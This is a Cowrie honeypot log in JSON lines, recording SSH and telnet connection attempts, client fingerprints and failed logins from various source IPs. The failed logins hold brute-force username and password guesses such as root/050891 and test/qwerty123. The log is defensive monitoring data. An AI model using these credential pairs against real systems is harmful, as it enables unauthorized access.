{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:06:48.416609Z","src_ip":"159.65.58.200","session":"b0c709f31646","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"susanna","password":"123456","message":"login attempt [susanna/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:06:49.702953Z","src_ip":"159.65.58.200","session":"b0c709f31646","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:06:51.013316Z","src_ip":"159.65.58.200","session":"b0c709f31646","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.245.123.148","src_port":55098,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fe470b9b4c6","protocol":"telnet","message":"New connection: 157.245.123.148:55098 (10.17.0.5:23) [session: 6fe470b9b4c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:06:51.390351Z"}
{"eventid":"cowrie.telnet.option","command":"DO","option_name":"ECHO","option_byte":1,"message":"Telnet DO ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:06:51.478737Z","src_ip":"157.245.123.148","session":"6fe470b9b4c6","protocol":"telnet"}
{"eventid":"cowrie.telnet.option","command":"WONT","option_name":"ECHO","option_byte":1,"message":"Telnet WONT ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:06:51.511885Z","src_ip":"157.245.123.148","session":"6fe470b9b4c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.116.220.251","src_port":54133,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7974c63cd68","protocol":"ssh","message":"New connection: 181.116.220.251:54133 (159.203.135.109:22) [session: b7974c63cd68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:06:53.043874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:06:53.046824Z","src_ip":"181.116.220.251","session":"b7974c63cd68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:06:53.215411Z","src_ip":"181.116.220.251","session":"b7974c63cd68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student2","password":"password","message":"login attempt [student2/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:06:53.923231Z","src_ip":"181.116.220.251","session":"b7974c63cd68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:06:55.094419Z","src_ip":"181.116.220.251","session":"b7974c63cd68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":55750,"dst_ip":"10.17.0.5","dst_port":22,"session":"c988725355f4","protocol":"ssh","message":"New connection: 91.92.40.4:55750 (10.17.0.5:22) [session: c988725355f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:06:56.448429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:06:56.451640Z","src_ip":"91.92.40.4","session":"c988725355f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:06:56.540861Z","src_ip":"91.92.40.4","session":"c988725355f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"qwerty123","message":"login attempt [test/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:06:56.784941Z","src_ip":"91.92.40.4","session":"c988725355f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":52198,"dst_ip":"159.203.135.109","dst_port":23,"session":"eca4c9d45206","protocol":"telnet","message":"New connection: 170.64.224.25:52198 (159.203.135.109:23) [session: eca4c9d45206]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:06:57.729138Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:06:57.867268Z","src_ip":"91.92.40.4","session":"c988725355f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":42114,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a990c5709d3","protocol":"ssh","message":"New connection: 103.82.132.16:42114 (159.203.135.109:22) [session: 7a990c5709d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:07:01.454532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:07:01.458921Z","src_ip":"103.82.132.16","session":"7a990c5709d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:07:01.704533Z","src_ip":"103.82.132.16","session":"7a990c5709d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.64.128","src_port":53162,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c337141fb7a","protocol":"ssh","message":"New connection: 162.144.64.128:53162 (10.17.0.5:22) [session: 5c337141fb7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:07:02.246209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:07:02.250798Z","src_ip":"162.144.64.128","session":"5c337141fb7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:07:02.342794Z","src_ip":"162.144.64.128","session":"5c337141fb7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"050891","message":"login attempt [root/050891] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:07:02.465638Z","src_ip":"103.82.132.16","session":"7a990c5709d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bahrain","password":"BH#Ethereum@S3cur3!","message":"login attempt [bahrain/BH#Ethereum@S3cur3!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:07:02.612505Z","src_ip":"162.144.64.128","session":"5c337141fb7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:07:03.704134Z","src_ip":"162.144.64.128","session":"5c337141fb7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:07:03.716053Z","src_ip":"103.82.132.16","session":"7a990c5709d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.89.133","src_port":55990,"dst_ip":"159.203.135.109","dst_port":22,"session":"a22340de87cd","protocol":"ssh","message":"New connection: 166.62.89.133:55990 (159.203.135.109:22) [session: a22340de87cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:07:14.728025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:07:14.732316Z","src_ip":"166.62.89.133","session":"a22340de87cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:07:14.797830Z","src_ip":"166.62.89.133","session":"a22340de87cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"N0t$Tr0ng@P@ss","message":"login attempt [root/N0t$Tr0ng@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:07:14.995138Z","src_ip":"166.62.89.133","session":"a22340de87cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.61.95","src_port":39690,"dst_ip":"159.203.135.109","dst_port":22,"session":"664d83d38cf7","protocol":"ssh","message":"New connection: 162.144.61.95:39690 (159.203.135.109:22) [session: 664d83d38cf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:07:15.491219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:07:15.494416Z","src_ip":"162.144.61.95","session":"664d83d38cf7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:07:15.600128Z","src_ip":"162.144.61.95","session":"664d83d38cf7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass!@#$%^&*()","message":"login attempt [root/pass!@#$%^&*()] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:07:15.867962Z","src_ip":"162.144.61.95","session":"664d83d38cf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:07:16.066968Z","src_ip":"166.62.89.133","session":"a22340de87cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:07:16.959646Z","src_ip":"162.144.61.95","session":"664d83d38cf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.7707302570343,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:07:32.237759Z","src_ip":"170.64.224.25","session":"903643ffbfeb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.247.120","src_port":40816,"dst_ip":"10.17.0.5","dst_port":22,"session":"e062c23c432d","protocol":"ssh","message":"New connection: 173.236.247.120:40816 (10.17.0.5:22) [session: e062c23c432d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:07:35.250406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:07:35.254185Z","src_ip":"173.236.247.120","session":"e062c23c432d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:07:35.267070Z","src_ip":"173.236.247.120","session":"e062c23c432d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"blast2024","message":"login attempt [root/blast2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:07:35.309170Z","src_ip":"173.236.247.120","session":"e062c23c432d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:07:36.324861Z","src_ip":"173.236.247.120","session":"e062c23c432d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":42928,"dst_ip":"159.203.135.109","dst_port":22,"session":"d088fcda1126","protocol":"ssh","message":"New connection: 77.94.47.83:42928 (159.203.135.109:22) [session: d088fcda1126]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:07:48.860433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:07:48.864055Z","src_ip":"77.94.47.83","session":"d088fcda1126","protocol":"ssh"}
